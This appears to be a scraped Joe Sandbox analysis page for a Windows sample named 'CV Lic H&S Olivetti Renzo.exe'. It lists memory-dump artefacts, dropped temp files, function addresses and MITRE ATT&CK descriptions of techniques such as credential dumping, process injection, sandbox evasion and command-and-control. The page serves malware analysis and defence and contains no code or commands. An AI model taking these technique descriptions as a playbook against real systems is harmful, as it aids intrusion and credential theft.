Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: b2ab1e4bf1e672641e8aed1e21b58b0925ed1e08e1fbc8dc3b35b8d26723a0b9
Instruction ID: fcae21af3ce12e3e39a37417c8aca2cf37ef0b38fabbadb959d703fed294b6dd
Opcode Fuzzy Hash: b2ab1e4bf1e672641e8aed1e21b58b0925ed1e08e1fbc8dc3b35b8d26723a0b9
Instruction Fuzzy Hash: A5D0C9317853147BE36967B09D0BFC66A589B08B11F101829BA45EA1D0C9B5A9448B58

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CV Lic H&S Olivetti Renzo.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\341G64J42

C:\Users\user\AppData\Local\Temp\Laddonia

C:\Users\user\AppData\Local\Temp\autE216.tmp

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
CV Lic H&S Olivetti Renzo.exe

Function 003AB043 Relevance: 21.5, APIs: 14, Instructions: 537
COMMONLIBRARYCODE

Function 00383D19 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 151
windowCOMMON

Function 0039DDC0 Relevance: 10.7, APIs: 7, Instructions: 175
COMMON

Function 0038406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Function 003CFA0C Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 238
COMMON

Function 00383F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Function 003CBFA4 Relevance: 18.3, APIs: 12, Instructions: 316
fileCOMMON

Function 00383742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Function 00383E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Function 019FC608 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 003849FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
registryCOMMON

Function 003836B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 019FC3A8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
fileCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre